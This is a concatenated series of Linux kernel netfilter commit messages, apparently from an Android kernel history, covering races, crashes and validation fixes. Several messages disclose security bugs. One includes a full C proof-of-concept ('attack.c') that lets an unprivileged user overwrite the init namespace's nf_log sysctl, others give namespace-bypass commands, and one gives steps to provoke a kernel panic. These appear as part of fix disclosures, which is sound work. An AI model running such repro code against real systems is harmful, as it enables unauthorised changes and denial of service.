If quota is precisely equal to skb->len then a notification
would not be sent due to immediately hitting 0.
This fixes that, and takes the opportunity to slightly clean
up the code and make quota behave more correctly for packet mode
as well.
Test: builds, net tests continue to pass
Bug: 164336990
Signed-off-by: Maciej Żenczykowski <maze@google.com>
Change-Id: I78a11b48794496255513a6226c0469d809d7aa56
(cherry picked from commit b20eacd8ddbd1dbf403df94f5ba6384e6fef0113)
[ Upstream commit 18a110b022a5c02e7dc9f6109d0bd93e58ac6ebb ]
Curtis Taylor and Jon Maxwell reported and debugged a crash on 3.10
based kernel.
Crash occurs in ctnetlink_conntrack_events because net->nfnl socket is
NULL. The nfnl socket was set to NULL by netns destruction running on
another cpu.
The exiting network namespace calls the relevant destructors in the
following order:
1. ctnetlink_net_exit_batch
This nulls out the event callback pointer in struct netns.
2. nfnetlink_net_exit_batch
This nulls net->nfnl socket and frees it.
3. nf_conntrack_cleanup_net_list
This removes all remaining conntrack entries.
This is order is correct. The only explanation for the crash so ar is:
cpu1: conntrack is dying, eviction occurs:
-> nf_ct_delete()
-> nf_conntrack_event_report \
-> nf_conntrack_eventmask_report
-> notify->fcn() (== ctnetlink_conntrack_events).
cpu1: a. fetches rcu protected pointer to obtain ctnetlink event callback.
b. gets interrupted.
cpu2: runs netns exit handlers:
a runs ctnetlink destructor, event cb pointer set to NULL.
b runs nfnetlink destructor, nfnl socket is closed and set to NULL.
cpu1: c. resumes and trips over NULL net->nfnl.
Problem appears to be that ctnetlink_net_exit_batch only prevents future
callers of nf_conntrack_eventmask_report() from obtaining the callback.
It doesn't wait of other cpus that might have already obtained the
callbacks address.
I don't see anything in upstream kernels that would prevent similar
crash: We need to wait for all cpus to have exited the event callback.
Fixes: 9592a5c01e ("netfilter: ctnetlink: netns support")
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Change-Id: Iad93478e7bf5dc987ae5d1cd10cf261af41c313a
commit b1d0a5d0cba4597c0394997b2d5fced3e3841b4e upstream.
recent and hashlimit both create /proc files, but only check that
name is 0 terminated.
This can trigger WARN() from procfs when name is "" or "/".
Add helper for this and then use it for both.
Change-Id: I6772510c4de2697a546204cb0d11df406a17e2a1
Cc: Eric Dumazet <eric.dumazet@gmail.com>
Reported-by: Eric Dumazet <eric.dumazet@gmail.com>
Reported-by: <syzbot+0502b00edac2a0680b61@syzkaller.appspotmail.com>
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
[bwh: Backported to 3.16:
- xt_hashlimit has only one check function
- Adjust context]
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
We currently use prandom_u32() for allocation of ports in tcp bind(0)
and udp code. In case of plain SNAT we try to keep the ports as is
or increment on collision.
SNAT --random mode does use per-destination incrementing port
allocation. As a recent paper pointed out in [1] that this mode of
port allocation makes it possible to an attacker to find the randomly
allocated ports through a timing side-channel in a socket overloading
attack conducted through an off-path attacker.
So, NF_NAT_RANGE_PROTO_RANDOM actually weakens the port randomization
in regard to the attack described in this paper. As we need to keep
compatibility, add another flag called NF_NAT_RANGE_PROTO_RANDOM_FULLY
that would replace the NF_NAT_RANGE_PROTO_RANDOM hash-based port
selection algorithm with a simple prandom_u32() in order to mitigate
this attack vector. Note that the lfsr113's internal state is
periodically reseeded by the kernel through a local secure entropy
source.
More details can be found in [1], the basic idea is to send bursts
of packets to a socket to overflow its receive queue and measure
the latency to detect a possible retransmit when the port is found.
Because of increasing ports to given destination and port, further
allocations can be predicted. This information could then be used by
an attacker for e.g. for cache-poisoning, NS pinning, and degradation
of service attacks against DNS servers [1]:
The best defense against the poisoning attacks is to properly
deploy and validate DNSSEC; DNSSEC provides security not only
against off-path attacker but even against MitM attacker. We hope
that our results will help motivate administrators to adopt DNSSEC.
However, full DNSSEC deployment make take significant time, and
until that happens, we recommend short-term, non-cryptographic
defenses. We recommend to support full port randomisation,
according to practices recommended in [2], and to avoid
per-destination sequential port allocation, which we show may be
vulnerable to derandomisation attacks.
Joint work between Hannes Frederic Sowa and Daniel Borkmann.
[1] https://sites.google.com/site/hayashulman/files/NIC-derandomisation.pdf
[2] http://arxiv.org/pdf/1205.5190v1.pdf
Signed-off-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
Signed-off-by: Daniel Borkmann <dborkman@redhat.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Retrieve socket uid from the sk_uid field added to struct sk instead of
read it from sk->socket->file. It prevent the packet been dropped when
the socket file doesn't exist.
Bug: 37524657
Signed-off-by: Chenbo Feng <fengc@google.com>
Change-Id: I502f4e3819a59eb7367d62350a1e1d7d6e5891db
uevent indication is required to notify the user space
on creation of sysfs file entry.
This helps in creating specific sysfs labeled entries
for newly created file which are module specific.
Change-Id: I576fa77158445ced6d5efb93b5d724d75f30b03f
CRs-Fixed: 2056628
Acked-by: Manoj Basapathi <manojbm@qti.qualcomm.com>
Signed-off-by: Tejaswi Tanikella <tejaswit@codeaurora.org>
(cherry pick from commit f09becc79f899f92557ce6d5562a8b80d6addb34)
According to the reporter, they are not needed.
Reported-by: Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Change-Id: I5f28a81e1361c23cedd57338f30c81730dc8aa3b
Git-commit: 18bab8a78ea9691631c131495087f5f40931abcf
Git-repo: https://android.googlesource.com/kernel/common.git
Signed-off-by: Srinivasarao P <spathi@codeaurora.org>
(cherry pick from commit 1a5bbfc3d6b700178b75743a2ba1fd2e58a8f36f)
As reported by Randy Dunlap:
====================
when CONFIG_IPV6=m
and CONFIG_NETFILTER_XT_MATCH_SOCKET=y:
net/built-in.o: In function `socket_mt6_v1_v2':
xt_socket.c:(.text+0x51b55): undefined reference to `udp6_lib_lookup'
net/built-in.o: In function `socket_mt_init':
xt_socket.c:(.init.text+0x1ef8): undefined reference to `nf_defrag_ipv6_enable'
====================
Like several other modules under net/netfilter/ we have to
have a dependency "IPV6 disabled or set compatibly with this
module" clause.
Reported-by: Randy Dunlap <rdunlap@infradead.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
Fix symbol export errors for when CONFIG_MODULES is set.
Signed-off-by: Dmitriy Filchenko <dmitriyf@google.com>
Change-Id: I9f5a1824a87388da1727f330f97e4982ad7069cd
Git-commit: 536947ee48590d5bb7414d28115e214636c08e41
Git-repo: https://android.googlesource.com/kernel/common.git
Signed-off-by: Srinivasarao P <spathi@codeaurora.org>
When DDEBUG is enabled, the prdebug_full_state() function will try to
recursively aquire the spinlock of sock_tag_list and causing deadlock. A
check statement is added before it aquire the spinlock to differentiate
the behavior depend on the caller of the function.
Bug: 36559739
Test: Compile and run test under system/extra/test/iptables/
Change-Id: Ie3397fbaa207e14fe214d47aaf5e8ca1f4a712ee
Signed-off-by: Chenbo Feng <fengc@google.com>
Git-commit: 8cb8a69b83bd577b97e8247aec866e651c5b96f5
Git-repo: https://android.googlesource.com/kernel/common.git
Signed-off-by: Srinivasarao P <spathi@codeaurora.org>
To prevent protential risk of memory leak caused by closing socket with
out untag it from qtaguid module, the qtaguid module now do not hold any
socket file reference count. Instead, it will increase the sk_refcnt of
the sk struct to prevent a reuse of the socket pointer. And when a socket
is released. It will delete the tag if the socket is previously tagged so
no more resources is held by xt_qtaguid moudle. A flag is added to the untag
process to prevent possible kernel crash caused by fail to delete
corresponding socket_tag_entry list.
Bug: 36374484
Test: compile and run test under system/extra/test/iptables,
run cts -m CtsNetTestCases -t android.net.cts.SocketRefCntTest
Signed-off-by: Chenbo Feng <fengc@google.com>
Change-Id: Iea7c3bf0c59b9774a5114af905b2405f6bc9ee52
Git-commit: 7be18b3a94f61e327b054be5f75bd6d3c975fbe7
Git-repo: https://android.googlesource.com/kernel/common.git
Signed-off-by: Srinivasarao P <spathi@codeaurora.org>
commit ce00bf07cc95a57cd20b208e02b3c2604e532ae8 upstream.
The old code would indefinitely block other users of nf_log_mutex if
a userspace access in proc_dostring() blocked e.g. due to a userfaultfd
region. Fix it by moving proc_dostring() out of the locked region.
This is a followup to commit 266d07cb1c ("netfilter: nf_log: fix
sleeping function called from invalid context"), which changed this code
from using rcu_read_lock() to taking nf_log_mutex.
Fixes: 266d07cb1c ("netfilter: nf_log: fix sleeping function calle[...]")
Signed-off-by: Jann Horn <jannh@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
commit 7dc68e98757a8eccf8ca7a53a29b896f1eef1f76 upstream.
rateest_hash is supposed to be protected by xt_rateest_mutex,
and, as suggested by Eric, lookup and insert should be atomic,
so we should acquire the xt_rateest_mutex once for both.
So introduce a non-locking helper for internal use and keep the
locking one for external.
Reported-by: <syzbot+5cb189720978275e4c75@syzkaller.appspotmail.com>
Fixes: 5859034d7e ("[NETFILTER]: x_tables: add RATEEST target")
Signed-off-by: Cong Wang <xiyou.wangcong@gmail.com>
Reviewed-by: Florian Westphal <fw@strlen.de>
Reviewed-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
commit 1205e1fa615805c9efa97303b552cf445965752a upstream.
In commit b396966c4 (netfilter: xt_TCPMSS: Fix missing fragmentation handling),
I attempted to add safe fragment handling to xt_TCPMSS. However, Andy Padavan
of Project N56U correctly points out that returning XT_CONTINUE in this
function does not work. The callers (tcpmss_tg[46]) expect to receive a value
of 0 in order to return XT_CONTINUE.
Signed-off-by: Phil Oester <kernel@linuxace.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
commit 916a27901de01446bcf57ecca4783f6cff493309 upstream.
The capability check in nfnetlink_rcv() verifies that the caller
has CAP_NET_ADMIN in the namespace that "owns" the netlink socket.
However, xt_osf_fingers is shared by all net namespaces on the
system. An unprivileged user can create user and net namespaces
in which he holds CAP_NET_ADMIN to bypass the netlink_net_capable()
check:
vpnns -- nfnl_osf -f /tmp/pf.os
vpnns -- nfnl_osf -f /tmp/pf.os -d
These non-root operations successfully modify the systemwide OS
fingerprint list. Add new capable() checks so that they can't.
Signed-off-by: Kevin Cernekee <cernekee@chromium.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
commit 4b380c42f7d00a395feede754f0bc2292eebe6e5 upstream.
The capability check in nfnetlink_rcv() verifies that the caller
has CAP_NET_ADMIN in the namespace that "owns" the netlink socket.
However, nfnl_cthelper_list is shared by all net namespaces on the
system. An unprivileged user can create user and net namespaces
in which he holds CAP_NET_ADMIN to bypass the netlink_net_capable()
check:
$ nfct helper list
nfct v1.4.4: netlink error: Operation not permitted
$ vpnns -- nfct helper list
{
.name = ftp,
.queuenum = 0,
.l3protonum = 2,
.l4protonum = 6,
.priv_data_len = 24,
.status = enabled,
};
Add capable() checks in nfnetlink_cthelper, as this is cleaner than
trying to generalize the solution.
Signed-off-by: Kevin Cernekee <cernekee@chromium.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
commit e466af75c074e76107ae1cd5a2823e9c61894ffb upstream.
syzkaller reports an out of bound read in strlcpy(), triggered
by xt_copy_counters_from_user()
Fix this by using memcpy(), then forcing a zero byte at the last position
of the destination, as Florian did for the non COMPAT code.
Fixes: d7591f0c41ce ("netfilter: x_tables: introduce and use xt_copy_counters_from_user")
Signed-off-by: Eric Dumazet <edumazet@google.com>
Cc: Willem de Bruijn <willemb@google.com>
Acked-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
commit b197df4f0f3782782e9ea8996e91b65ae33e8dd9 upstream.
Instead of doing the rt6->rt6i_node check whenever we need
to get the route's cookie. Refactor it into rt6_get_cookie().
It is a prep work to handle FLOWI_FLAG_KNOWN_NH and also
percpu rt6_info later.
Change-Id: I15221a1abc4ab608498275603f98bee922e3ce95
Signed-off-by: Martin KaFai Lau <kafai@fb.com>
Cc: Hannes Frederic Sowa <hannes@stressinduktion.org>
Cc: Steffen Klassert <steffen.klassert@secunet.com>
Cc: Julian Anastasov <ja@ssi.bg>
Signed-off-by: David S. Miller <davem@davemloft.net>
[bwh: Backported to 3.2:
- Drop changes in inet6_sk_rx_dst_set(), sctp_v6_get_dst()
- Adjust context]
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
commit fefa92679dbe0c613e62b6c27235dcfbe9640ad1 upstream.
If nf_conntrack_htable_size was adjusted by the user during the ct
dump operation, we may invoke nf_ct_put twice for the same ct, i.e.
the "last" ct. This will cause the ct will be freed but still linked
in hash buckets.
It's very easy to reproduce the problem by the following commands:
# while : ; do
echo $RANDOM > /proc/sys/net/netfilter/nf_conntrack_buckets
done
# while : ; do
conntrack -L
done
# iperf -s 127.0.0.1 &
# iperf -c 127.0.0.1 -P 60 -t 36000
After a while, the system will hang like this:
NMI watchdog: BUG: soft lockup - CPU#1 stuck for 22s! [bash:20184]
NMI watchdog: BUG: soft lockup - CPU#0 stuck for 22s! [iperf:20382]
...
So at last if we find cb->args[1] is equal to "last", this means hash
resize happened, then we can set cb->args[1] to 0 to fix the above
issue.
Fixes: d205dc4079 ("[NETFILTER]: ctnetlink: fix deadlock in table dumping")
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
[bwh: Backported to 3.2: adjust context]
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
commit 2638fd0f92d4397884fd991d8f4925cb3f081901 upstream.
Denys provided an awesome KASAN report pointing to an use
after free in xt_TCPMSS
I have provided three patches to fix this issue, either in xt_TCPMSS or
in xt_tcpudp.c. It seems xt_TCPMSS patch has the smallest possible
impact.
Signed-off-by: Eric Dumazet <edumazet@google.com>
Reported-by: Denys Fedoryshchenko <nuclearcat@nuclearcat.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
[wt: adjust context]
Signed-off-by: Willy Tarreau <w@1wt.eu>
commit 9c3f3794926a997b1cab6c42480ff300efa2d162 upstream.
If one cpu is doing nf_ct_extend_unregister while another cpu is doing
__nf_ct_ext_add_length, then we may hit BUG_ON(t == NULL). Moreover,
there's no synchronize_rcu invocation after set nf_ct_ext_types[id] to
NULL, so it's possible that we may access invalid pointer.
But actually, most of the ct extends are built-in, so the problem listed
above will not happen. However, there are two exceptions: NF_CT_EXT_NAT
and NF_CT_EXT_SYNPROXY.
For _EXT_NAT, the panic will not happen, since adding the nat extend and
unregistering the nat extend are located in the same file(nf_nat_core.c),
this means that after the nat module is removed, we cannot add the nat
extend too.
For _EXT_SYNPROXY, synproxy extend may be added by init_conntrack, while
synproxy extend unregister will be done by synproxy_core_exit. So after
nf_synproxy_core.ko is removed, we may still try to add the synproxy
extend, then kernel panic may happen.
I know it's very hard to reproduce this issue, but I can play a tricky
game to make it happen very easily :)
Step 1. Enable SYNPROXY for tcp dport 1234 at FORWARD hook:
# iptables -I FORWARD -p tcp --dport 1234 -j SYNPROXY
Step 2. Queue the syn packet to the userspace at raw table OUTPUT hook.
Also note, in the userspace we only add a 20s' delay, then
reinject the syn packet to the kernel:
# iptables -t raw -I OUTPUT -p tcp --syn -j NFQUEUE --queue-num 1
Step 3. Using "nc 2.2.2.2 1234" to connect the server.
Step 4. Now remove the nf_synproxy_core.ko quickly:
# iptables -F FORWARD
# rmmod ipt_SYNPROXY
# rmmod nf_synproxy_core
Step 5. After 20s' delay, the syn packet is reinjected to the kernel.
Now you will see the panic like this:
kernel BUG at net/netfilter/nf_conntrack_extend.c:91!
Call Trace:
? __nf_ct_ext_add_length+0x53/0x3c0 [nf_conntrack]
init_conntrack+0x12b/0x600 [nf_conntrack]
nf_conntrack_in+0x4cc/0x580 [nf_conntrack]
ipv4_conntrack_local+0x48/0x50 [nf_conntrack_ipv4]
nf_reinject+0x104/0x270
nfqnl_recv_verdict+0x3e1/0x5f9 [nfnetlink_queue]
? nfqnl_recv_verdict+0x5/0x5f9 [nfnetlink_queue]
? nla_parse+0xa0/0x100
nfnetlink_rcv_msg+0x175/0x6a9 [nfnetlink]
[...]
One possible solution is to make NF_CT_EXT_SYNPROXY extend built-in, i.e.
introduce nf_conntrack_synproxy.c and only do ct extend register and
unregister in it, similar to nf_conntrack_timeout.c.
But having such a obscure restriction of nf_ct_extend_unregister is not a
good idea, so we should invoke synchronize_rcu after set nf_ct_ext_types
to NULL, and check the NULL pointer when do __nf_ct_ext_add_length. Then
it will be easier if we add new ct extend in the future.
Last, we use kfree_rcu to free nf_ct_ext, so rcu_barrier() is unnecessary
anymore, remove it too.
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Acked-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Willy Tarreau <w@1wt.eu>
commit 3b7dabf029478bb80507a6c4500ca94132a2bc0b upstream.
Otherwise, another CPU may access the invalid pointer. For example:
CPU0 CPU1
- rcu_read_lock();
- pfunc = _hook_;
_hook_ = NULL; -
mod unload -
- pfunc(); // invalid, panic
- rcu_read_unlock();
So we must call synchronize_rcu() to wait the rcu reader to finish.
Also note, in nf_nat_snmp_basic_fini, synchronize_rcu() will be invoked
by later nf_conntrack_helper_unregister, but I'm inclined to add a
explicit synchronize_rcu after set the nf_nat_snmp_hook to NULL. Depend
on such obscure assumptions is not a good idea.
Last, in nfnetlink_cttimeout, we use kfree_rcu to free the time object,
so in cttimeout_exit, invoking rcu_barrier() is not necessary at all,
remove it too.
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Willy Tarreau <w@1wt.eu>
commit 3c5ab3f395d66a9e4e937fcfdf6ebc63894f028b upstream.
We do not check if packet from real server is for NAT
connection before performing SNAT. This causes problems
for setups that use DR/TUN and allow local clients to
access the real server directly, for example:
- local client in director creates IPVS-DR/TUN connection
CIP->VIP and the request packets are routed to RIP.
Talks are finished but IPVS connection is not expired yet.
- second local client creates non-IPVS connection CIP->RIP
with same reply tuple RIP->CIP and when replies are received
on LOCAL_IN we wrongly assign them for the first client
connection because RIP->CIP matches the reply direction.
As result, IPVS SNATs replies for non-IPVS connections.
The problem is more visible to local UDP clients but in rare
cases it can happen also for TCP or remote clients when the
real server sends the reply traffic via the director.
So, better to be more precise for the reply traffic.
As replies are not expected for DR/TUN connections, better
to not touch them.
Reported-by: Nick Moriarty <nick.moriarty@york.ac.uk>
Signed-off-by: Julian Anastasov <ja@ssi.bg>
Signed-off-by: Willy Tarreau <w@1wt.eu>
commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 upstream.
nf_log_proc_dostring() used current's network namespace instead of the one
corresponding to the sysctl file the write was performed on. Because the
permission check happens at open time and the nf_log files in namespaces
are accessible for the namespace owner, this can be abused by an
unprivileged user to effectively write to the init namespace's nf_log
sysctls.
Stash the "struct net *" in extra2 - data and extra1 are already used.
Repro code:
#define _GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
char child_stack[1000000];
uid_t outer_uid;
gid_t outer_gid;
int stolen_fd = -1;
void writefile(char *path, char *buf) {
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "unable to open thing");
if (write(fd, buf, strlen(buf)) != strlen(buf))
err(1, "unable to write thing");
close(fd);
}
int child_fn(void *p_) {
if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
NULL))
err(1, "mount");
/* Yes, we need to set the maps for the net sysctls to recognize us
* as namespace root.
*/
char buf[1000];
sprintf(buf, "0 %d 1\n", (int)outer_uid);
writefile("/proc/1/uid_map", buf);
writefile("/proc/1/setgroups", "deny");
sprintf(buf, "0 %d 1\n", (int)outer_gid);
writefile("/proc/1/gid_map", buf);
stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
if (stolen_fd == -1)
err(1, "open nf_log");
return 0;
}
int main(void) {
outer_uid = getuid();
outer_gid = getgid();
int child = clone(child_fn, child_stack + sizeof(child_stack),
CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
|CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
if (child == -1)
err(1, "clone");
int status;
if (wait(&status) != child)
err(1, "wait");
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
errx(1, "child exit status bad");
char *data = "NONE";
if (write(stolen_fd, data, strlen(data)) != strlen(data))
err(1, "write");
return 0;
}
Repro:
$ gcc -Wall -o attack attack.c -std=gnu99
$ cat /proc/sys/net/netfilter/nf_log/2
nf_log_ipv4
$ ./attack
$ cat /proc/sys/net/netfilter/nf_log/2
NONE
Because this looks like an issue with very low severity, I'm sending it to
the public list directly.
Signed-off-by: Jann Horn <jann@thejh.net>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Willy Tarreau <w@1wt.eu>
commit be2cef49904b34dd5f75d96bbc8cd8341bab1bc0 upstream.
Some users observed that "least connection" distribution algorithm doesn't
handle well bursts of TCP connections from reconnecting clients after
a node or network failure.
This is because the algorithm counts active connection as worth 256
inactive ones where for TCP, "active" only means TCP connections in
ESTABLISHED state. In case of a connection burst, new connections are
handled before previous ones have finished the three way handshaking so
that all are still counted as "inactive", i.e. cheap ones. The become
"active" quickly but at that time, all of them are already assigned to one
real server (or few), resulting in highly unbalanced distribution.
Address this by counting the "pre-established" states as "active".
Signed-off-by: Michal Kubecek <mkubecek@suse.cz>
Acked-by: Julian Anastasov <ja@ssi.bg>
Signed-off-by: Simon Horman <horms@verge.net.au>
Signed-off-by: Willy Tarreau <w@1wt.eu>
commit 63ecb81aadf1c823c85c70a2bfd1ec9df3341a72 upstream.
commit d7591f0c41ce3e67600a982bab6989ef0f07b3ce upstream
The three variants use same copy&pasted code, condense this into a
helper and use that.
Make sure info.name is 0-terminated.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Willy Tarreau <w@1wt.eu>
commit 09d9686047dbbe1cf4faa558d3ecc4aae2046054 upstream.
This looks like refactoring, but its also a bug fix.
Problem is that the compat path (32bit iptables, 64bit kernel) lacks a few
sanity tests that are done in the normal path.
For example, we do not check for underflows and the base chain policies.
While its possible to also add such checks to the compat path, its more
copy&pastry, for instance we cannot reuse check_underflow() helper as
e->target_offset differs in the compat case.
Other problem is that it makes auditing for validation errors harder; two
places need to be checked and kept in sync.
At a high level 32 bit compat works like this:
1- initial pass over blob:
validate match/entry offsets, bounds checking
lookup all matches and targets
do bookkeeping wrt. size delta of 32/64bit structures
assign match/target.u.kernel pointer (points at kernel
implementation, needed to access ->compatsize etc.)
2- allocate memory according to the total bookkeeping size to
contain the translated ruleset
3- second pass over original blob:
for each entry, copy the 32bit representation to the newly allocated
memory. This also does any special match translations (e.g.
adjust 32bit to 64bit longs, etc).
4- check if ruleset is free of loops (chase all jumps)
5-first pass over translated blob:
call the checkentry function of all matches and targets.
The alternative implemented by this patch is to drop steps 3&4 from the
compat process, the translation is changed into an intermediate step
rather than a full 1:1 translate_table replacement.
In the 2nd pass (step #3), change the 64bit ruleset back to a kernel
representation, i.e. put() the kernel pointer and restore ->u.user.name .
This gets us a 64bit ruleset that is in the format generated by a 64bit
iptables userspace -- we can then use translate_table() to get the
'native' sanity checks.
This has two drawbacks:
1. we re-validate all the match and target entry structure sizes even
though compat translation is supposed to never generate bogus offsets.
2. we put and then re-lookup each match and target.
THe upside is that we get all sanity tests and ruleset validations
provided by the normal path and can remove some duplicated compat code.
iptables-restore time of autogenerated ruleset with 300k chains of form
-A CHAIN0001 -m limit --limit 1/s -j CHAIN0002
-A CHAIN0002 -m limit --limit 1/s -j CHAIN0003
shows no noticeable differences in restore times:
old: 0m30.796s
new: 0m31.521s
64bit: 0m25.674s
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Willy Tarreau <w@1wt.eu>
commit 7b7eba0f3515fca3296b8881d583f7c1042f5226 upstream.
Quoting John Stultz:
In updating a 32bit arm device from 4.6 to Linus' current HEAD, I
noticed I was having some trouble with networking, and realized that
/proc/net/ip_tables_names was suddenly empty.
Digging through the registration process, it seems we're catching on the:
if (strcmp(t->u.user.name, XT_STANDARD_TARGET) == 0 &&
target_offset + sizeof(struct xt_standard_target) != next_offset)
return -EINVAL;
Where next_offset seems to be 4 bytes larger then the
offset + standard_target struct size.
next_offset needs to be aligned via XT_ALIGN (so we can access all members
of ip(6)t_entry struct).
This problem didn't show up on i686 as it only needs 4-byte alignment for
u64, but iptables userspace on other 32bit arches does insert extra padding.
Reported-by: John Stultz <john.stultz@linaro.org>
Tested-by: John Stultz <john.stultz@linaro.org>
Fixes: 7ed2abddd20cf ("netfilter: x_tables: check standard target size too")
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Willy Tarreau <w@1wt.eu>
commit 13631bfc604161a9d69cd68991dff8603edd66f9 upstream.
Validate that all matches (if any) add up to the beginning of
the target and that each match covers at least the base structure size.
The compat path should be able to safely re-use the function
as the structures only differ in alignment; added a
BUILD_BUG_ON just in case we have an arch that adds padding as well.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Willy Tarreau <w@1wt.eu>
commit ce683e5f9d045e5d67d1312a42b359cb2ab2a13c upstream.
We're currently asserting that targetoff + targetsize <= nextoff.
Extend it to also check that targetoff is >= sizeof(xt_entry).
Since this is generic code, add an argument pointing to the start of the
match/target, we can then derive the base structure size from the delta.
We also need the e->elems pointer in a followup change to validate matches.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Willy Tarreau <w@1wt.eu>
commit 7ed2abddd20cf8f6bd27f65bd218f26fa5bf7f44 upstream.
We have targets and standard targets -- the latter carries a verdict.
The ip/ip6tables validation functions will access t->verdict for the
standard targets to fetch the jump offset or verdict for chainloop
detection, but this happens before the targets get checked/validated.
Thus we also need to check for verdict presence here, else t->verdict
can point right after a blob.
Spotted with UBSAN while testing malformed blobs.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Willy Tarreau <w@1wt.eu>
commit fc1221b3a163d1386d1052184202d5dc50d302d1 upstream.
32bit rulesets have different layout and alignment requirements, so once
more integrity checks get added to xt_check_entry_offsets it will reject
well-formed 32bit rulesets.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Willy Tarreau <w@1wt.eu>
commit a08e4e190b866579896c09af59b3bdca821da2cd upstream.
The target size includes the size of the xt_entry_target struct.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Willy Tarreau <w@1wt.eu>
commit 7d35812c3214afa5b37a675113555259cfd67b98 upstream.
Currently arp/ip and ip6tables each implement a short helper to check that
the target offset is large enough to hold one xt_entry_target struct and
that t->u.target_size fits within the current rule.
Unfortunately these checks are not sufficient.
To avoid adding new tests to all of ip/ip6/arptables move the current
checks into a helper, then extend this helper in followup patches.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Willy Tarreau <w@1wt.eu>
When multiple threads is trying to tag/delete the same socket at the
same time, there is a chance the tag_ref_entry of the target socket to
be null before the uid_tag_data entry is freed. It is caused by the
ctrl_cmd_tag function where it doesn't correctly grab the spinlocks
when tagging a socket.
Signed-off-by: Chenbo Feng <fengc@google.com>
Bug: 65853158
Change-Id: I5d89885918054cf835370a52bff2d693362ac5f0
Git-repo: https://android.googlesource.com/kernel/msm
Git-commit: a6661da56dc61b67cc65222b71896a775ceb17be
Signed-off-by: Dennis Cagle <dcagle@codeaurora.org>
Usage of %p exposes the kernel addresses, an easy target to
kernel write vulnerabilities. With this patch currently
%pK prints only Zeros as address. If you need actual address
echo 0 > /proc/sys/kernel/kptr_restrict
addressing the info leak issue under following CVEs
CVE-2016-8401, CVE-2016-8402, CVE-2016-8403,
CVE-2016-8404, CVE-2016-8405, CVE-2016-8406,
CVE-2016-8407
Change-Id: Iefe0639416275cfeca6e90b6f88cd0412bb76414
Signed-off-by: Ravi Kumar Siddojigari <rsiddoji@codeaurora.org>
Maciej Żenczykowski
syphyr
Florian Westphal
Francesco Ruggeri
Taehee Yoo
Julian Anastasov
Daniel Borkmann
Eric Dumazet
Chenbo Feng
Devi Sandeep Endluri V V
Pablo Neira Ayuso
David S. Miller
Jann Horn
Paolo Abeni
Cong Wang
Phil Oester
Kevin Cernekee
Martin KaFai Lau
Liping Zhang
Jann Horn
Michal Kubecek
Luca Stefani
LuK1337
Ravi Kumar Siddojigari
Mohamad Ayyash